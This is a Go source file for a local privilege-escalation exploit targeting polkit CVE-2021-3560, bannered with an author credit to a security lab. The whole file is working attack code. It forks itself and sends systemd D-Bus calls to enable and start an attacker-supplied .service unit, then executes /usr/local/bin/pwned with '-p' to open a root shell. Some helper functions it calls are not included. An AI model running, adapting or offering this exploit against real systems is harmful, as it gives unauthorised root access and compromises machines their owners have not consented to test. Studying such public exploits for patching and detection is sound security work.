exploit.go

package main

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"syscall"
	"time"

	"github.com/godbus/dbus/v5"
)

var SystemdName = "org.freedesktop.systemd1"
var SystemdInterface = "org.freedesktop.systemd1.Manager"
var SystemdObjectPath = "/org/freedesktop/systemd1"


func Banner() {
	fmt.Println("=== polkit CVE-2021-3560 exploit - RicterZ @ 360 Noah Lab ===")
}

func Fork() {
	attr := &syscall.ProcAttr{
		Env:   os.Environ(),
		Files: []uintptr{os.Stdin.Fd(), os.Stdout.Fd(), os.Stderr.Fd()},
	}
	args := append(os.Args, "1")
	go syscall.ForkExec("/proc/self/exe", args, attr)
}

func main() {
	if len(os.Args) == 2 {
		Banner()
	}
	if !strings.HasSuffix(os.Args[1], ".service") {
		Logging("[-] Unit file must end with .service")
		os.Exit(3)
	}

	abs, err := filepath.Abs(os.Args[1])
	if err != nil {
		Logging("[-] Unit file status error: %s", err)
		os.Exit(3)
	}

	if len(os.Args) <= 4 {
		Fork()
	}

	var agent Agent

	if len(os.Args) != 2 {
		go agent.StartAgent()
		time.Sleep(time.Millisecond * 500)
	}

	if len(os.Args) == 3 {
		go MethodCallStartService(filepath.Base(abs))
	} else if len(os.Args) == 4 {
		go MethodCallEnableUnitFiles(abs)
	} else if len(os.Args) == 5 {
		go MethodReload()
	} else {
		for i:=1; i<5; i++ {
			time.Sleep(time.Second)
			if _, err := os.Stat("/usr/local/bin/pwned"); err == nil {
				Logging("[+] File exists, popping root shell ...")
				cmd := exec.Command("/usr/local/bin/pwned", "-p")
				cmd.Stdin = os.Stdin
				cmd.Stdout = os.Stdout
				cmd.Stderr = os.Stderr
				cmd.Run()
				os.Exit(0)
			}
		}
		Logging("[-] Exploit failed, please try again")
		os.Exit(1)
	}

	select {}
}


func MethodCallStartService(ServiceName string) {
	Logging("[*] Starting systemd service '%s' ...", ServiceName)
	conn, err := dbus.ConnectSystemBus()
	defer conn.Close()
	if err != nil {
		Logging("[-] Error for connecting system bus: %s", err)
		os.Exit(1)
	}

	bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
	call := bus.Call(SystemdInterface+".StartUnit", 4, ServiceName, "replace")
	if call.Err != nil {
		Logging("[-] Error for starting systemd service: %s", call.Err)
	}
}

func MethodReload() {
	Logging("[*] Reloading systemd daemon ...")
	conn, err := dbus.ConnectSystemBus()
	if err != nil {
		Logging("[-] Error for connecting system bus: %s", err)
		os.Exit(1)
	}

	bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
	message := CreateMessage(bus, SystemdInterface+".Reload")
	call := conn.Send(message, make(chan *dbus.Call, 1))
	if call.Err != nil {
		Logging("[-] Error for reloading daemon: %s", call.Err)
	}
}

func MethodCallEnableUnitFiles(ServiceName string) {
	Logging("[*] Enabling systemd unit file '%s' ...", ServiceName)
	conn, err := dbus.ConnectSystemBus()
	if err != nil {
		Logging("[-] Error for connection system bus: %s", err)
		os.Exit(1)
	}

	bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
	message := CreateMessage(bus, SystemdInterface+".EnableUnitFiles", []string{ServiceName}, false, true)
	call := conn.Send(message, make(chan *dbus.Call, 1))
	if call.Err != nil {
		Logging("[-] Error for enabling unit file: %s", call.Err)
	}
}

func CreateMessage(obj dbus.BusObject, method string, args ...interface{}) *dbus.Message {
	iface := ""
	i := strings.LastIndex(method, ".")
	if i != -1 {
		iface = method[:i]
	}
	method = method[i+1:]
	msg := new(dbus.Message)
	msg.Type = dbus.TypeMethodCall
	msg.Flags = dbus.FlagAllowInteractiveAuthorization
	msg.Headers = make(map[dbus.HeaderField]dbus.Variant)
	msg.Headers[dbus.FieldPath] = dbus.MakeVariant(obj.Path())
	msg.Headers[dbus.FieldDestination] = dbus.MakeVariant(obj.Destination())
	msg.Headers[dbus.FieldMember] = dbus.MakeVariant(method)
	if iface != "" {
		msg.Headers[dbus.FieldInterface] = dbus.MakeVariant(iface)
	}
	msg.Body = args
	if len(args) > 0 {
		msg.Headers[dbus.FieldSignature] = dbus.MakeVariant(dbus.SignatureOf(args...))
	}
	return msg
}